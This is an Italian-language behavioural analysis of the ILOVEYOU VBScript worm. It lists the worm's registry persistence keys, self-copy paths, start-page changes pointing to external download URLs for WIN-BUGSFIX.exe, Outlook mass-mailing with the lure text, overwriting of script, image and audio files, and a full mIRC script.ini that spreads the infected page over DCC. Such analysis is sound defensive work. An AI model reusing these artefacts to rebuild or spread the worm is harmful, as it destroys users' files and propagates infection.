Controlla se esiste la chiave:
	"HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout"

Se il valore della chiave č maggiore di uno o se la chiave non esiste crea:
	"HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout",0,"REG_DWORD"

Si duplica in:
	"C:\WINDOWS\SYSTEM\MSKernel32.vbs"
	"C:\WINDOWS\Win32DLL.vbs"
	"C:\WINDOWS\SYSTEM\LOVE-LETTER-FOR-YOU.TXT.vbs"

Crea le chiavi:
	"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MSKernel32","C:\WINDOWS\SYSTEM\MSKernel32.vbs"
	"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\Win32DLL","C:\WINDOWS\Win32DLL.vbs"

Legge il valore:
	"HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Download Directory"

Se non esiste prende come default:
	"C:\"

Controlla se esiste il file:
	"C:\WINDOWS\SYSTEM\WinFAT32.exe"

Se non esiste, crea a cosa una delle seguenti chiavi:
	"HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~young1s/HJKhjnwerhjkxcvytwertnMTFwetrdsfmhPnjw6587345gvsdf7679njbvYT/WIN-BUGSFIX.exe"
	"HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~angelcat/skladjflfdjghKJnwetryDGFikjUIyqwerWe546786324hjk4jnHHGbvbmKLJKjhkqj4w/WIN-BUGSFIX.exe"
	"HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~koichi/jf6TRjkcbGRpGqaq198vbFV5hfFEkbopBdQZnmPOhfgER67b3Vbvg/WIN-BUGSFIX.exe"
	"HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~chu/sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBhAFSDGjkhYUgqwerasdjhPhjasfdglkNBhbqwebmznxcbvnmadshfgqw237461234iuy7thjg/WIN-BUGSFIX.exe"

Al primo avvio dell'internet explorer probabilmente verrā aperta la pagina per il download oppure verra' scaricato in automatico il file:
	"WIN-BUGFIX.exe"

Se a questo punto il file e' stato scaricato verranno create le chiavi:
	"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\WIN-BUGSFIX",..qualcosa..\WIN-BUGSFIX.exe"
	"HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page","about:blank"

Al successivo riavvio della macchina verrā lanciato il file WIN-BUGFIX.exe di cui ignoro cosa possa fare !!!

Crea una pagina web infetta in:
	"\WINDOWS\SYSTEM\LOVE-LETTER-FOR-YOU.HTM"

Apre la pagina web infetta in modalita scrittura lo modifica e lo richiude

Apre una sessione Outlook
Passa in rassegna tutti i contatti
Crea un msg per ogni contatto con oggetto "ILOVEYOU", corpo del messaggio "kindly check the attached LOVELETTER coming from me." e file allegato quello creato in "\WINDOWS\SYSTEM\LOVE-LETTER-FOR-YOU.TXT.vbs" e lo invia.

Scrive le chiavi:
	"HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead,1,"REG_DWORD"
	"HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count
	

Controlla tutti gli hard disk e tutte le unitā di rete mappate
sfoglia tutte le subdir dei vari drive e agisce a seconda del file trovato:
	.vbs .vbe
		Si duplica in essi
	.js .jse .css .whs .sct .hta
		Si duplica in essi
		ottiene il nome del file pulito (senza path ne estensione)
		copia il file modificato in .vbs
		elimina il file modificato
	.jpg .jpeg
		Si duplica in essi
		copia il file modificato in .vbs
		elimina il file modificato
	.mp3 .mp2
		si copia ''in nome file originale + .vbs''
		nasconde il file originle

Controlla se nella dir esiste uno dei seguenti file:
	mirc32.exe, mlink32.exe, mirc.ini, script.ini, mirc.hlp

Se lo trova crea il file script.ini composto di:
	[script]
	;mIRC Script
	  Please dont edit this script... mIRC will corrupt, if mIRC will	
            corrupt... WINDOWS will affect and will not run correctly. thanks
	;
	;Khaled Mardam-Bey
	;http://www.mirc.com
	;
	n0=on 1:JOIN:#:{
	n1=  /if ( $nick == $me ) { halt }
	n2=  /.dcc send $nick C:\WINDOWS\SYSTEM\LOVE-LETTER-FOR-YOU.HTM
	n3=}